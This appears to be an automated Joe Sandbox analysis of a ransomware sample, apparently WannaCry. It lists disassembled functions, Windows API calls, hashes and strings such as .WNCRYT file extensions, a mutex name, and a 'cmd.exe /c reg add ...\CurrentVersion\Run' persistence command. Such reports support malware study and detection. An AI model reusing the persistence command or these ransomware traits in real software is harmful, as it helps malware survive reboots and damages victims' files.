                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Directory$AttributesCreateCurrentFile$swprintf
                                      • String ID: %s\%s
                                      • API String ID: 1036847564-4073750446
                                      • Opcode ID: e8d223ccc4edc92c4536f1ca202ba6161fd040db7272db682552e70b0b18d917
                                      • Instruction ID: 4a0a9b6f0974b2b783bf1fd4f993800d593798a72c4fd06372b86497b3864b36
                                      • Opcode Fuzzy Hash: e8d223ccc4edc92c4536f1ca202ba6161fd040db7272db682552e70b0b18d917
                                      • Instruction Fuzzy Hash: 99F06271200208BBEB103F65DE44F9B3B2CEB457A5F015832FA46B61A1DB75A855CAB8
                                      Function 10003810 Relevance: 10.6, APIs: 7, Instructions: 139COMMON
                                      Download Yara Rule
                                      APIs
                                      • ?_Xran@std@@YAXXZ.MSVCP60(?,?,?,00000000,?,-00000008,10006E81,000000FF,10002C8A,-00000008,?), ref: 1000386E
                                      • ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60(?,?,?,00000000,?,-00000008,10006E81,000000FF,10002C8A,-00000008,?), ref: 10003876
                                      • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000000), ref: 100038AD
                                      • ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(?), ref: 100038BA
                                      • ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60 ref: 100038C2
                                      • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,?,?,00000000,?,-00000008,10006E81,000000FF,10002C8A,-00000008,?), ref: 100038F9
                                      • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000001,?,?,?,00000000,?,-00000008,10006E81,000000FF,10002C8A,-00000008,?), ref: 1000393A
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: G@2@@std@@G@std@@U?$char_traits@V?$allocator@$Grow@?$basic_string@Split@?$basic_string@$Eos@?$basic_string@Tidy@?$basic_string@Xran@std@@
                                      • String ID:
                                      • API String ID: 2613176527-0
                                      • Opcode ID: 419391cea48095fa9c56488878e65c16131f7775e920f671397da16b97c4db23
                                      • Instruction ID: c1de8fb6cb3a72026dff4bd4d186f336055b31e35bdbf535d2fbb9e5f9aed039
                                      • Opcode Fuzzy Hash: 419391cea48095fa9c56488878e65c16131f7775e920f671397da16b97c4db23
                                      • Instruction Fuzzy Hash: 3C41E171A00B518FD711DF1DC8C4A9AF7E6FB89790B50C85EE49A87399CB35A841CB90
                                      Function 004027DF Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 121COMMON
                                      Download Yara Rule
                                      APIs
                                      • IsBadReadPtr.KERNEL32(00000000,00000014,00000000,00000001,00000000,?!@,004023F5,00000000), ref: 00402812
                                      • realloc.MSVCRT ref: 00402854
                                      • IsBadReadPtr.KERNEL32(-00000014,00000014), ref: 004028DC
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Read$realloc
                                      • String ID: ?!@
                                      • API String ID: 1241503663-708128716
                                      • Opcode ID: 3ef8fdaf83090ca6dd9f312f51019f46009b35537f3f51f7116a8d4e5983476b
                                      • Instruction ID: b911edbb3638e6438919fa35cb7379f64586f657f287b8edbc273cd359ebb62a
                                      • Opcode Fuzzy Hash: 3ef8fdaf83090ca6dd9f312f51019f46009b35537f3f51f7116a8d4e5983476b
                                      • Instruction Fuzzy Hash: 4841AE76A00205EFDB109F55CE49B5ABBF4FF44310F24803AE846B62D1D7B8E900DB59
                                      Function 10001760 Relevance: 10.6, APIs: 7, Instructions: 58filesynchronizationCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 10003BB0: CryptDestroyKey.ADVAPI32(?,771B3310,10003EFD,10003EE0,?,?,?,?,?,?,?,771B3310,00000000), ref: 10003BBB
                                        • Part of subcall function 10003BB0: CryptDestroyKey.ADVAPI32(?,771B3310,10003EFD,10003EE0,?,?,?,?,?,?,?,771B3310,00000000), ref: 10003BD0
                                        • Part of subcall function 10003BB0: CryptReleaseContext.ADVAPI32(?,00000000,771B3310,10003EFD,10003EE0,?,?,?,?,?,?,?,771B3310,00000000), ref: 10003BE7
                                      • GlobalFree.KERNEL32(?), ref: 10001797
                                      • GlobalFree.KERNEL32(?), ref: 100017C0
                                      • WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,100016B2,771B0F00,771B2EE0,00000000,?,00000000,10006DEF,000000FF,10005AC5), ref: 100017E3
                                      • CloseHandle.KERNEL32(?), ref: 100017F0
                                      • DeleteCriticalSection.KERNEL32(?,?,00000000,100016B2,771B0F00,771B2EE0,00000000,?,00000000,10006DEF,000000FF,10005AC5), ref: 10001807
                                      • wcslen.MSVCRT ref: 10001814
                                      • DeleteFileW.KERNEL32(?,771B0F10), ref: 10001822
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: Crypt$DeleteDestroyFreeGlobal$CloseContextCriticalFileHandleObjectReleaseSectionSingleWaitwcslen
                                      • String ID:
                                      • API String ID: 1629502191-0
                                      • Opcode ID: 33c5ca710b395fa90b6c0262d6d3b5fcc069b9a43ede1909023ffbbaa47dbda2
                                      • Instruction ID: f586c4f20a923c2549891f38ad5cae4d46359d9a66e1c91433b4026ce85e5b09
                                      • Opcode Fuzzy Hash: 33c5ca710b395fa90b6c0262d6d3b5fcc069b9a43ede1909023ffbbaa47dbda2
                                      • Instruction Fuzzy Hash: 6D114CB45056118BF351EB38C888BD7B7E8FF44284F01451DE69E97294CFB4A8448BA4
                                      Function 00401EFF Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35sleepCOMMON
                                      Download Yara Rule
                                      APIs
                                      • sprintf.MSVCRT ref: 00401F16
                                      • OpenMutexA.KERNEL32(00100000,00000001,?), ref: 00401F31
                                      • Sleep.KERNEL32(000003E8), ref: 00401F40
                                      • CloseHandle.KERNEL32(00000000), ref: 00401F52
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: CloseHandleMutexOpenSleepsprintf
                                      • String ID: %s%d$Global\MsWinZonesCacheCounterMutexA
                                      • API String ID: 2780352083-2959021817
                                      • Opcode ID: d195781efe0b704a0c45d33d3827b966fde6c598e7eccee7cfdb972a19423a06
                                      • Instruction ID: f4a3b48a0bafa41ae68b0177be176e29d76f271436d11399ade0a1af8f7a19ee
                                      • Opcode Fuzzy Hash: d195781efe0b704a0c45d33d3827b966fde6c598e7eccee7cfdb972a19423a06
                                      • Instruction Fuzzy Hash: 92F0E931A40305BBDB20EBA49E4AB9B7758AB04B40F104036F945FA0D2DBB8D54586D8
                                      Function 00403A77 Relevance: 9.1, APIs: 6, Instructions: 123COMMON
                                      Download Yara Rule
                                      APIs
                                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570), ref: 00403A91
                                      • _CxxThrowException.MSVCRT(?,0040D570), ref: 00403AA0
                                      • memcpy.MSVCRT ref: 00403B00
                                      • memcpy.MSVCRT ref: 00403B68
                                      • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F574), ref: 00403BC2
                                      • _CxxThrowException.MSVCRT(?,0040D570), ref: 00403BD1
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: ??0exception@@ExceptionThrowmemcpy
                                      • String ID:
                                      • API String ID: 2382887404-0
                                      • Opcode ID: 7d0f093dcb85c1b01e904b58e66d92adf2767ba9b2af66087918d42cfe2af866
                                      • Instruction ID: 9805a50700f74263afb1320d00d27f30e93ca80038ec105a2d2f515762341bf2
                                      • Opcode Fuzzy Hash: 7d0f093dcb85c1b01e904b58e66d92adf2767ba9b2af66087918d42cfe2af866
                                      • Instruction Fuzzy Hash: 8541C870B40206ABDB14DE65DD81D9B77BEEB84309B00443FF815B3281D778AB15C759
                                      Function 100047F0 Relevance: 7.5, APIs: 1, Strings: 4, Instructions: 46COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 10001360: AllocateAndInitializeSid.ADVAPI32(?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,7678F130), ref: 1000139C
                                      • sprintf.MSVCRT ref: 10004863
                                      Strings
                                      • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 100047FD
                                      • M, xrefs: 10004819
                                      • cmd.exe /c reg add %s /v "%s" /t REG_SZ /d "\"%s\"" /f, xrefs: 1000485D
                                      • L, xrefs: 10004814
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: AllocateInitializesprintf
                                      • String ID: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run$L$M$cmd.exe /c reg add %s /v "%s" /t REG_SZ /d "\"%s\"" /f
                                      • API String ID: 568869838-3541944315
                                      • Opcode ID: bf5c0829c5f729f0c32795c81225613645d0478752b7bd72f04b3b82bf7e2ebe
                                      • Instruction ID: cb81d63c27e7438ee873a6580c8d427ba87cf58f5dd356eba86e26e33131f037
                                      • Opcode Fuzzy Hash: bf5c0829c5f729f0c32795c81225613645d0478752b7bd72f04b3b82bf7e2ebe
                                      • Instruction Fuzzy Hash: 67012471508380BAF354D318C840BEF7BA8DFC5388F408C2EBAC887295DAB59548C7A3
                                      Function 10002940 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: wcscat$DeleteFile
                                      • String ID: .WNCYR
                                      • API String ID: 2874565005-3780910188
                                      • Opcode ID: 89d4098d6f193e1b9fa4b3174060334de28b51d85d2f5b150166bc60bd8e7cb4
                                      • Instruction ID: a3bc17cf7ef854a2158c8400b310fe5ef82d5dee7fb413dfc94f73b9db8610d0
                                      • Opcode Fuzzy Hash: 89d4098d6f193e1b9fa4b3174060334de28b51d85d2f5b150166bc60bd8e7cb4
                                      • Instruction Fuzzy Hash: FEF0C83221011067F360E75CDC40FDF6298EFD53A0F010417F244D2148C7A4A94287A2
                                      Function 100012D0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 100011D0: GetCurrentProcess.KERNEL32 ref: 100011E4
                                        • Part of subcall function 100011D0: OpenProcessToken.ADVAPI32(00000000), ref: 100011EB
                                      • GetUserNameW.ADVAPI32 ref: 10001321
                                      • _wcsicmp.MSVCRT ref: 10001331
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: Process$CurrentNameOpenTokenUser_wcsicmp
                                      • String ID: S-1-5-18$SYSTEM
                                      • API String ID: 3198372872-1369567957
                                      • Opcode ID: cf50642f78ef5fab84ecba59a6cf7af1d6290f6db1426ef5f0d617c8ec868925
                                      • Instruction ID: 10a86b0ae793a7b0faed46c7c3bb17ce0abdb28c641acd7ed0c6d67178d7bc95
                                      • Opcode Fuzzy Hash: cf50642f78ef5fab84ecba59a6cf7af1d6290f6db1426ef5f0d617c8ec868925
                                      • Instruction Fuzzy Hash: FFF04475808701ABF704DB54DC44AEF73E4EBC4785F508928F94982194F7389659C797
                                      Function 10005120 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30fileCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 10005060: GetWindowsDirectoryW.KERNEL32(?,00000104,?,?), ref: 10005075
                                        • Part of subcall function 10005060: GetTempPathW.KERNEL32(00000104,?), ref: 10005094
                                        • Part of subcall function 10005060: wcslen.MSVCRT ref: 100050A1
                                        • Part of subcall function 10005060: wcslen.MSVCRT ref: 100050AB
                                        • Part of subcall function 10005060: wcslen.MSVCRT ref: 100050B9
                                      • swprintf.MSVCRT(?,%s\hibsys%s,?,.WNCRYT), ref: 1000516A
                                      • DeleteFileW.KERNEL32(?), ref: 10005174
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: wcslen$DeleteDirectoryFilePathTempWindowsswprintf
                                      • String ID: %s\hibsys%s$.WNCRYT
                                      • API String ID: 1822766362-1629340253
                                      • Opcode ID: c2125cb9b9528fd99c790bb07f7878e09f7b9727c9a924ceadf419b2fee26583
                                      • Instruction ID: 2c74e765b5fe5e1610888ec37e9d1c160ce3ed4c59201b8465cba371c669a0b1
                                      • Opcode Fuzzy Hash: c2125cb9b9528fd99c790bb07f7878e09f7b9727c9a924ceadf419b2fee26583
                                      • Instruction Fuzzy Hash: 76F0A03550431477E310E708CC89EEFBBA8FFC4381F404928F58892295EB3AA61886E7
                                      Function 10001910 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23COMMON
                                      Download Yara Rule
                                      APIs
                                      • wcscpy.MSVCRT ref: 10001920
                                      • swprintf.MSVCRT(?,%s\%d%s,?,?,.WNCRYT), ref: 1000194B
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: swprintfwcscpy
                                      • String ID: %s\%d%s$.WNCRYT
                                      • API String ID: 2253494011-2625268679
                                      • Opcode ID: 000e3091f5fb392741d9349167afd51cb84987f96780d8c4e66d3e6cc1a6ed01
                                      • Instruction ID: 3af0f3f7c414dc9b2a655466e87540e4a569b33180c9e8bcda9b168f9dff8f6e
                                      • Opcode Fuzzy Hash: 000e3091f5fb392741d9349167afd51cb84987f96780d8c4e66d3e6cc1a6ed01
                                      • Instruction Fuzzy Hash: 1AE04FB7900610AFE310CB18DC89DEB77A8EBD9301F05052AFA4E97285DBB57915CBB1
                                      Function 100027F0 Relevance: 6.1, APIs: 4, Instructions: 111COMMON
                                      Download Yara Rule
                                      APIs
                                      • ??2@YAPAXI@Z.MSVCRT ref: 1000281A
                                        • Part of subcall function 10002300: ??2@YAPAXI@Z.MSVCRT ref: 10002332
                                        • Part of subcall function 10002300: swprintf.MSVCRT ref: 10002388
                                        • Part of subcall function 10002300: FindFirstFileW.KERNELBASE(?,?,?,00000000,00000000,?), ref: 1000239E
                                        • Part of subcall function 10002300: ??3@YAXPAX@Z.MSVCRT ref: 100023D2
                                        • Part of subcall function 10002300: ??3@YAXPAX@Z.MSVCRT ref: 10002404
                                      • ??3@YAXPAX@Z.MSVCRT ref: 10002899
                                      • ??3@YAXPAX@Z.MSVCRT ref: 100028FD
                                      • ??3@YAXPAX@Z.MSVCRT ref: 10002917
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: ??3@$??2@$FileFindFirstswprintf
                                      • String ID:
                                      • API String ID: 47495585-0
                                      • Opcode ID: 7289eb21af34816668e2fceb4ba4beb76e0119b70a8b5d61be5a5b79e0b95f82
                                      • Instruction ID: 82684585b8c809215c3c6d914d8a3584cbabbf0c50e88e9df694160166eba937
                                      • Opcode Fuzzy Hash: 7289eb21af34816668e2fceb4ba4beb76e0119b70a8b5d61be5a5b79e0b95f82
                                      • Instruction Fuzzy Hash: BE4158B96043419FE304DF18C880B1AB7E5FF88354F148A6DE9959B3A5DB30EC05CB92
                                      Function 00405BAE Relevance: 6.1, APIs: 4, Instructions: 93fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?,00000140,?,00406C12,?,00000000,00000001), ref: 00405BFE
                                      • SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,00000000,?,00000140,?,00406C12,?,00000000,00000001,?,004074EA,?), ref: 00405C29
                                      • ??2@YAPAXI@Z.MSVCRT ref: 00405C38
                                      • SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,00000000,?,00000140,?,00406C12,?,00000000,00000001,?,004074EA), ref: 00405C8A
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: File$Pointer$??2@Create
                                      • String ID:
                                      • API String ID: 1331958074-0
                                      • Opcode ID: ff1e72f22e15843ade9ace39703012fff21b8a1e8b9c48cc3c9963cb15211f94
                                      • Instruction ID: 771dcc1d5a31089dd4cc2aab62cbbe5a226dda330bf0289da8f54b52fc8588cb
                                      • Opcode Fuzzy Hash: ff1e72f22e15843ade9ace39703012fff21b8a1e8b9c48cc3c9963cb15211f94
                                      • Instruction Fuzzy Hash: 0831F231008784AFDB318F28888479BBBF4EF15350F18896EF491A7380C375AD85CB69
                                      Function 00406B8E Relevance: 6.1, APIs: 4, Instructions: 63stringCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetCurrentDirectoryA.KERNEL32(00000104,00000140,00000000,00000000,00000000,?,004074EA,?,?,?,00000000,?,004075C0,00000000,00000000,00000003), ref: 00406BB5
                                      • strlen.MSVCRT ref: 00406BBC
                                      • strcat.MSVCRT(00000140,0040F818,?,004074EA,?,?,?,00000000,?,004075C0,00000000,00000000,00000003,00000000,00401DFE,00000000), ref: 00406BD7
                                      • SetFilePointer.KERNEL32(?,00000000,00000000,00000001,004074EA,?,?,?,00000000,?,004075C0,00000000,00000000,00000003,00000000,00401DFE), ref: 00406BEE
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: CurrentDirectoryFilePointerstrcatstrlen
                                      • String ID:
                                      • API String ID: 1952800545-0
                                      • Opcode ID: f23f8598dec8bbb4ac10b6a236faff338d1a89892e54ee5ab5b1cbc5c19062ee
